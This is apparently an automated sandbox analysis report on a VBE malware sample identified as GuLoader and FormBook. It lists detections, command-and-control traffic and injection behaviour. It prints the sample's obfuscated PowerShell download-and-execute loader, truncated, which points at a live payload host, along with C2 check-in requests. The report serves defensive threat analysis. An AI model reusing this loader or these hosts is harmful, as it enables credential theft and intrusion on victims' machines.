Windows Analysis Report
Narudzba ACH0036173.vbe

Overview

General Information

Sample name: Narudzba ACH0036173.vbe
Analysis ID: 1526385
MD5: 824bafbe5495192cebc5804b329f3094
SHA1: 2b0bdbb8bdd2b2a1c85f18830c52c221f83a2948
SHA256: dea03e99875a3cac75ed89dcc01f854f085ff13a9dfb406e25955e36668fde47
Tags: vbeuser-abuse_ch
Infos:

Detection

FormBook, GuLoader
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Early bird code injection technique detected
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected FormBook
Yara detected GuLoader
Yara detected Powershell download and execute
AI detected suspicious sample
Found direct / indirect Syscall (likely to bypass EDR)
Found suspicious powershell code related to unpacking or dynamic code loading
Maps a DLL or memory area into another process
Modifies the context of a thread in another process (thread injection)
Queues an APC in another process (thread injection)
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Switches to a custom stack to bypass stack traces
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Uses ping.exe to check the status of other devices and networks
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Checks if the current process is being debugged
Contains functionality for execution timing, often used to detect debuggers
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to read the PEB
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Msiexec Initiated Connection
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Suricata IDS alerts with low severity for network traffic
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara signature match

Classification

AV Detection
barindex
Multi AV Scanner detection for submitted file
Source: Narudzba ACH0036173.vbe ReversingLabs: Detection: 26%
Source: Narudzba ACH0036173.vbe Virustotal: Detection: 11% Perma Link
Yara detected FormBook
Source: Yara match File source: 0000000D.00000002.2954157360.0000000002EB0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.2955140831.00000000034C0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.2543568933.0000000024700000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.2955372386.0000000002BD0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.2955148766.0000000002D00000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.2955249123.0000000004C30000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.2544153499.0000000024B70000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
AI detected suspicious sample
Source: Submited Sample Integrated Neural Analysis Model: Matched 100.0% probability
Source: unknown HTTPS traffic detected: 162.159.140.237:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown HTTPS traffic detected: 162.159.140.237:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: Binary string: msinfo32.pdb source: msiexec.exe, 0000000B.00000003.2464231519.0000000024601000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: bqm.Core.pdb4 source: powershell.exe, 00000006.00000002.2057275222.0000000008137000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: wntdll.pdbUGP source: msiexec.exe, 0000000B.00000003.2397408093.00000000244C5000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: wntdll.pdb source: msiexec.exe, msiexec.exe, 0000000B.00000003.2397408093.00000000244C5000.00000004.00000020.00020000.00000000.sdmp, msinfo32.exe
Source: Binary string: msinfo32.pdbGCTL source: msiexec.exe, 0000000B.00000003.2464231519.0000000024601000.00000004.00000020.00020000.00000000.sdmp
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_02ECC110 FindFirstFileW,FindNextFileW,FindClose, 13_2_02ECC110

Software Vulnerabilities
barindex
Suspicious execution chain found
Source: C:\Windows\System32\wscript.exe Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Found inlined nop instructions (likely shell or obfuscated code)
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 4x nop then xor eax, eax 13_2_02EB99F0
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 4x nop then mov ebx, 00000004h 13_2_04D204DE

Networking
barindex
Suricata IDS alerts for network traffic
Source: Network traffic Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:49946 -> 84.32.84.32:80
Source: Network traffic Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:50008 -> 84.32.84.32:80
Uses ping.exe to check the status of other devices and networks
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\PING.EXE ping 6777.6777.6777.677e
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 162.159.140.237 162.159.140.237
Source: Joe Sandbox View IP Address: 162.159.140.237 162.159.140.237
Source: Joe Sandbox View IP Address: 84.32.84.32 84.32.84.32
Source: Joe Sandbox View IP Address: 84.32.84.32 84.32.84.32
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: NTT-LT-ASLT NTT-LT-ASLT
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19
Suricata IDS alerts with low severity for network traffic
Source: Network traffic Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:49737 -> 162.159.140.237:443
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: global traffic HTTP traffic detected: GET /nedkoge.mso HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: pub-2f7d07153ea1403184d62266d9c28e41.r2.devConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /BEkfITzYaj231.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: pub-2f7d07153ea1403184d62266d9c28e41.r2.devCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /7z6q/?-Ly=tZ6DMnK&ZppxP=TL3drwoENxP57Dd5dOFmv/YKWz0ccyhnGCQdWwUu3IMTL8D4S+Gi1DMSnGJbZzhysdvLIJdHJUOvGXStrAsLXN7Ufb7PIiPGRqZTCzOmV2/ygr+YHVnslTQ= HTTP/1.1Accept: */*Accept-Language: en-US,en;q=0.9Host: www.casesrep.siteConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:42.0) Gecko/20100101 Firefox/42.0
Source: global traffic HTTP traffic detected: GET /7z6q/?ZppxP=TL3drwoENxP57Dd5dOFmv/YKWz0ccyhnGCQdWwUu3IMTL8D4S+Gi1DMSnGJbZzhysdvLIJdHJUOvGXStrAsLXN7Ufb7PIiPGRqZTCzOmV2/ygr+YHVnslTQ=&-Ly=tZ6DMnK HTTP/1.1Accept: */*Accept-Language: en-US,en;q=0.9Host: www.casesrep.siteConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:42.0) Gecko/20100101 Firefox/42.0
Source: global traffic DNS traffic detected: DNS query: 6777.6777.6777.677e
Source: global traffic DNS traffic detected: DNS query: pub-2f7d07153ea1403184d62266d9c28e41.r2.dev
Source: global traffic DNS traffic detected: DNS query: www.casesrep.site
Source: global traffic DNS traffic detected: DNS query: www.kuaimaolife.shop
Source: unknown HTTP traffic detected: POST /7z6q/ HTTP/1.1Accept: */*Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Host: www.casesrep.siteOrigin: http://www.casesrep.siteConnection: closeCache-Control: max-age=0Content-Length: 202Content-Type: application/x-www-form-urlencodedReferer: http://www.casesrep.site/7z6q/User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:42.0) Gecko/20100101 Firefox/42.0Data Raw: 5a 70 70 78 50 3d 65 4a 66 39 6f 48 56 4e 59 53 50 46 68 45 68 39 66 73 6c 76 30 71 34 4f 65 7a 38 78 4a 45 51 7a 51 52 73 66 51 44 6b 52 74 37 68 77 59 66 33 41 66 50 44 59 74 7a 77 62 6c 33 56 47 52 46 46 30 6f 73 43 6e 58 5a 46 67 4a 6d 6a 2b 41 57 48 69 70 58 63 45 46 4e 7a 42 65 59 7a 6d 45 57 76 79 55 73 52 7a 43 44 43 48 50 45 48 67 77 4c 4f 32 4d 57 4b 61 72 52 4c 2b 59 6f 55 39 67 70 6e 36 32 35 66 38 6b 54 33 4d 67 55 6e 7a 79 32 47 71 42 71 72 59 35 33 56 79 39 66 42 45 4e 4a 77 58 35 4c 57 6f 52 4e 6e 6e 51 47 73 70 64 72 4a 64 6c 55 48 32 6c 50 71 2f 32 4c 4a 57 4d 39 56 54 69 51 3d 3d Data Ascii: ZppxP=eJf9oHVNYSPFhEh9fslv0q4Oez8xJEQzQRsfQDkRt7hwYf3AfPDYtzwbl3VGRFF0osCnXZFgJmj+AWHipXcEFNzBeYzmEWvyUsRzCDCHPEHgwLO2MWKarRL+YoU9gpn625f8kT3MgUnzy2GqBqrY53Vy9fBENJwX5LWoRNnnQGspdrJdlUH2lPq/2LJWM9VTiQ==
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Sat, 05 Oct 2024 12:51:45 GMTContent-Type: text/htmlContent-Length: 146Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Sat, 05 Oct 2024 12:51:48 GMTContent-Type: text/htmlContent-Length: 146Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: powershell.exe, 00000004.00000002.1862118797.0000020AF32F0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2043963608.0000000005918000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000006.00000002.2017385313.0000000004A0B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000004.00000002.1839361378.0000020AE5009000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://pub-2f7d07153ea1403184d62266d9c28e41.r2.dev
Source: powershell.exe, 00000004.00000002.1839361378.0000020AE3281000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2017385313.00000000048B1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000006.00000002.2017385313.0000000004A0B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000004.00000002.1839361378.0000020AE3281000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000006.00000002.2017385313.00000000048B1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://aka.ms/pscore6lB
Source: powershell.exe, 00000006.00000002.2043963608.0000000005918000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000006.00000002.2043963608.0000000005918000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000006.00000002.2043963608.0000000005918000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000006.00000002.2017385313.0000000004A0B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000004.00000002.1839361378.0000020AE3E41000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://go.micro
Source: powershell.exe, 00000004.00000002.1862118797.0000020AF32F0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2043963608.0000000005918000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000004.00000002.1839361378.0000020AE4CB9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1839361378.0000020AE34AB000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://pub-2f7d07153ea1403184d62266d9c28e41.r2.dev
Source: msiexec.exe, 0000000B.00000003.2400330644.0000000008CD0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://pub-2f7d07153ea1403184d62266d9c28e41.r2.dev/
Source: msiexec.exe, 0000000B.00000003.2400330644.0000000008CD0000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000B.00000002.2530755175.0000000008CA8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://pub-2f7d07153ea1403184d62266d9c28e41.r2.dev/BEkfITzYaj231.bin
Source: msiexec.exe, 0000000B.00000003.2400330644.0000000008CD0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://pub-2f7d07153ea1403184d62266d9c28e41.r2.dev/BEkfITzYaj231.bin$Y
Source: msiexec.exe, 0000000B.00000002.2530755175.0000000008CA8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://pub-2f7d07153ea1403184d62266d9c28e41.r2.dev/BEkfITzYaj231.binE
Source: msiexec.exe, 0000000B.00000002.2530755175.0000000008CA8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://pub-2f7d07153ea1403184d62266d9c28e41.r2.dev/BEkfITzYaj231.bing
Source: msiexec.exe, 0000000B.00000003.2400330644.0000000008CD0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://pub-2f7d07153ea1403184d62266d9c28e41.r2.dev/M
Source: powershell.exe, 00000004.00000002.1839361378.0000020AE34AB000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://pub-2f7d07153ea1403184d62266d9c28e41.r2.dev/nedkoge.msoP
Source: powershell.exe, 00000006.00000002.2017385313.0000000004A0B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://pub-2f7d07153ea1403184d62266d9c28e41.r2.dev/nedkoge.msoXR
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown HTTPS traffic detected: 162.159.140.237:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown HTTPS traffic detected: 162.159.140.237:443 -> 192.168.2.4:49737 version: TLS 1.2

E-Banking Fraud
barindex
Yara detected FormBook
Source: Yara match File source: 0000000D.00000002.2954157360.0000000002EB0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.2955140831.00000000034C0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.2543568933.0000000024700000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.2955372386.0000000002BD0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.2955148766.0000000002D00000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.2955249123.0000000004C30000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.2544153499.0000000024B70000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: amsi32_5812.amsi.csv, type: OTHER Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: 0000000D.00000002.2954157360.0000000002EB0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000D.00000002.2955140831.00000000034C0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000B.00000002.2543568933.0000000024700000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000F.00000002.2955372386.0000000002BD0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000C.00000002.2955148766.0000000002D00000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000D.00000002.2955249123.0000000004C30000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000B.00000002.2544153499.0000000024B70000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: Process Memory Space: powershell.exe PID: 1068, type: MEMORYSTR Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 5812, type: MEMORYSTR Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Source: C:\Windows\System32\wscript.exe COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8} Jump to behavior
Wscript starts Powershell (via cmd or directly)
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\cmd.exe cmd.exe /c ping 6777.6777.6777.677e
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Lediggang Graadighedens Disciplineringer Bagermestrene Teutonisk Uptilt #>;$Spegeplserne='Nymaledes';<#Messiness Compromising Anaphalis Gennemarbejdelsen Fodervikkerne #>;$Laparotomize140=$host.'PrivateData';If ($Laparotomize140) {$Trikotagefabrikker++;}function Spdbarnsplejerens($Ledningernes){$Annelism=$Totlafholdenhed61+$Ledningernes.Length-$Trikotagefabrikker; for( $Omgik=7;$Omgik -lt $Annelism;$Omgik+=8){$Methodisers='Exuscitate';$Protaspis+=$Ledningernes[$Omgik];$Newsroom204='Dkfjers';}$Protaspis;}function Optllingslister($baulky){ & ($Unark) ($baulky);}$Steamboating=Spdbarnsplejerens 'MouthfuMDecollaoUarb,jdzRaabaaniUdf ldelundertilAntipreaNebra.k/Averrab5stedbrd.Faglrer0 Ful,vr Blottel(Porch dWB taliniAfgangsnRati,nedPopuliso Ove clwAllokatsBegnawn HjertebN Kal etTTempl r Materia1Haunche0Waylanr. instit0Gri tmi;Departe c araciW,uccubei.aftkjonandest 6Eardro 4 Increa; Delege Finansrx Uterom6 mysti 4Fgtmedd;a,reste barramurMacroptvKonvolu:Re ligh1 Graph 2Argenti1Delubru.Apace a0Bebutto)Lystbaa unquietG Spelmae TwelfhcAttak ekSkamrdmoQuantis/Persona2Hemidom0Noggkas1 Nonchr0,anebry0Jaszmal1Futu is0Ud lugt1 Arquat BararmFLikenesiQuizzysrIchthyoeLuncherfOzoniz.oRaastofx.hefmgl/Gra,bea1Aym sar2 Fje,ne1.ongrat.Andelss0No merc ';$Railcard=Spdbarnsplejerens 'syltdepuSoapfissdkningsESvartidRRidning- Er,rinA PainkigOverophE GustinN NegatiTForkerk ';$Ekspatrieret=Spdbarnsplejerens 'Bille thG,ilingtThrenodtBibliotpNonevilsSkydere:Evangel/ mpetu/ Fili,tp DatostuSpecialb Blomme-Tremour2pladshof Achi l7Nipsetsd Quater0 upersu7gagered1Vgtford5 Repr.f3,nakepreGreeneraHousefl1ev kost4 B.odsp0Moduler3Ansamle1Jengene8Sockhea4 leopardStengun6Bioscie2Tonikum2U,ifiab6Skammel6Litigatd Ind kr9unperv.cAfisnin2Regiona8theodraeAngolan4S hoolb1 Thelyt. StavnsrTeleotr2T pefli.drmmebid ConspieMicrotovTopchef/UdlistnnTaagetmePennyspdDr gbolkRiddersoTrvlerng KrgendeRecan.e. betacim Kruspes DeadmeoHusass ';$Overrigidness=Spdbarnsplejerens 'Soapyre>Indsnus ';$Unark=Spdbarnsplejerens 'Terningi,vergeneSlank ixKaosets ';$Metaprescutum='Caddises';$Arkivskab='\Nationalsocialisternes.Ska';Optllingslister (Spdbarnsplejerens 'Uhjlpso$BepaidlgBetali lRea izaoDisser,bEspartoATyr fgtlKlderen:Cebid nm ogejome S ppreKPapembaa Oblig.NklinikliBankemaShaplontMo dsgnieFinlandRHenns.n= N.trog$ ego,seEPlasmasn.ultideVIllegit:Bu.kladApel,rgoPRakitispQuincyuD GuidebA antasiTThomisiAUnhands+wasabis$Racial,aN nsurgRUnmercekForsortiDolomitVAmn,monS Et,opikBulwarkAPungpebbBowkerb ');Optllingslister (Spdbarnsplejerens 'Excla,m$KronpriGOpvaskelStumbleO otulisB Forma,aSulfosrLDiscolo: NightiITendo.oNUnwiseqd Libra i BesselSpakhusetWindburi PneumoNE,rthwacAdaptivtAgranulNFlambeeESlingreSAnnot tsUdv elg= Orchit$UncapiteLinj,skKReflektsBleeralPEnta glAKannikkTBedstevRIagttagiSnotdumEnabofamrnostalgePara.phTAcrolog.Reak orSB listip pologeLRhipidoI esidenTDonnere(Hematoz$zenithwoRadi
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\cmd.exe cmd.exe /c ping 6777.6777.6777.677e Jump to behavior
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Lediggang Graadighedens Disciplineringer Bagermestrene Teutonisk Uptilt #>;$Spegeplserne='Nymaledes';<#Messiness Compromising Anaphalis Gennemarbejdelsen Fodervikkerne #>;$Laparotomize140=$host.'PrivateData';If ($Laparotomize140) {$Trikotagefabrikker++;}function Spdbarnsplejerens($Ledningernes){$Annelism=$Totlafholdenhed61+$Ledningernes.Length-$Trikotagefabrikker; for( $Omgik=7;$Omgik -lt $Annelism;$Omgik+=8){$Methodisers='Exuscitate';$Protaspis+=$Ledningernes[$Omgik];$Newsroom204='Dkfjers';}$Protaspis;}function Optllingslister($baulky){ & ($Unark) ($baulky);}$Steamboating=Spdbarnsplejerens 'MouthfuMDecollaoUarb,jdzRaabaaniUdf ldelundertilAntipreaNebra.k/Averrab5stedbrd.Faglrer0 Ful,vr Blottel(Porch dWB taliniAfgangsnRati,nedPopuliso Ove clwAllokatsBegnawn HjertebN Kal etTTempl r Materia1Haunche0Waylanr. instit0Gri tmi;Departe c araciW,uccubei.aftkjonandest 6Eardro 4 Increa; Delege Finansrx Uterom6 mysti 4Fgtmedd;a,reste barramurMacroptvKonvolu:Re ligh1 Graph 2Argenti1Delubru.Apace a0Bebutto)Lystbaa unquietG Spelmae TwelfhcAttak ekSkamrdmoQuantis/Persona2Hemidom0Noggkas1 Nonchr0,anebry0Jaszmal1Futu is0Ud lugt1 Arquat BararmFLikenesiQuizzysrIchthyoeLuncherfOzoniz.oRaastofx.hefmgl/Gra,bea1Aym sar2 Fje,ne1.ongrat.Andelss0No merc ';$Railcard=Spdbarnsplejerens 'syltdepuSoapfissdkningsESvartidRRidning- Er,rinA PainkigOverophE GustinN NegatiTForkerk ';$Ekspatrieret=Spdbarnsplejerens 'Bille thG,ilingtThrenodtBibliotpNonevilsSkydere:Evangel/ mpetu/ Fili,tp DatostuSpecialb Blomme-Tremour2pladshof Achi l7Nipsetsd Quater0 upersu7gagered1Vgtford5 Repr.f3,nakepreGreeneraHousefl1ev kost4 B.odsp0Moduler3Ansamle1Jengene8Sockhea4 leopardStengun6Bioscie2Tonikum2U,ifiab6Skammel6Litigatd Ind kr9unperv.cAfisnin2Regiona8theodraeAngolan4S hoolb1 Thelyt. StavnsrTeleotr2T pefli.drmmebid ConspieMicrotovTopchef/UdlistnnTaagetmePennyspdDr gbolkRiddersoTrvlerng KrgendeRecan.e. betacim Kruspes DeadmeoHusass ';$Overrigidness=Spdbarnsplejerens 'Soapyre>Indsnus ';$Unark=Spdbarnsplejerens 'Terningi,vergeneSlank ixKaosets ';$Metaprescutum='Caddises';$Arkivskab='\Nationalsocialisternes.Ska';Optllingslister (Spdbarnsplejerens 'Uhjlpso$BepaidlgBetali lRea izaoDisser,bEspartoATyr fgtlKlderen:Cebid nm ogejome S ppreKPapembaa Oblig.NklinikliBankemaShaplontMo dsgnieFinlandRHenns.n= N.trog$ ego,seEPlasmasn.ultideVIllegit:Bu.kladApel,rgoPRakitispQuincyuD GuidebA antasiTThomisiAUnhands+wasabis$Racial,aN nsurgRUnmercekForsortiDolomitVAmn,monS Et,opikBulwarkAPungpebbBowkerb ');Optllingslister (Spdbarnsplejerens 'Excla,m$KronpriGOpvaskelStumbleO otulisB Forma,aSulfosrLDiscolo: NightiITendo.oNUnwiseqd Libra i BesselSpakhusetWindburi PneumoNE,rthwacAdaptivtAgranulNFlambeeESlingreSAnnot tsUdv elg= Orchit$UncapiteLinj,skKReflektsBleeralPEnta glAKannikkTBedstevRIagttagiSnotdumEnabofamrnostalgePara.phTAcrolog.Reak orSB listip pologeLRhipidoI esidenTDonnere(Hematoz$zenithwoRadi Jump to behavior
Contains functionality to call native functions
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 11_2_248935C0 NtCreateMutant,LdrInitializeThunk, 11_2_248935C0
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 11_2_24892DF0 NtQuerySystemInformation,LdrInitializeThunk, 11_2_24892DF0
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 11_2_24894650 NtSuspendThread, 11_2_24894650
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 11_2_24893090 NtSetValueKey, 11_2_24893090
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F04650 NtSuspendThread,LdrInitializeThunk, 13_2_04F04650
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F04340 NtSetContextThread,LdrInitializeThunk, 13_2_04F04340
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F02CA0 NtQueryInformationToken,LdrInitializeThunk, 13_2_04F02CA0
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F02C70 NtFreeVirtualMemory,LdrInitializeThunk, 13_2_04F02C70
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F02C60 NtCreateKey,LdrInitializeThunk, 13_2_04F02C60
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F02DF0 NtQuerySystemInformation,LdrInitializeThunk, 13_2_04F02DF0
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F02DD0 NtDelayExecution,LdrInitializeThunk, 13_2_04F02DD0
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F02D30 NtUnmapViewOfSection,LdrInitializeThunk, 13_2_04F02D30
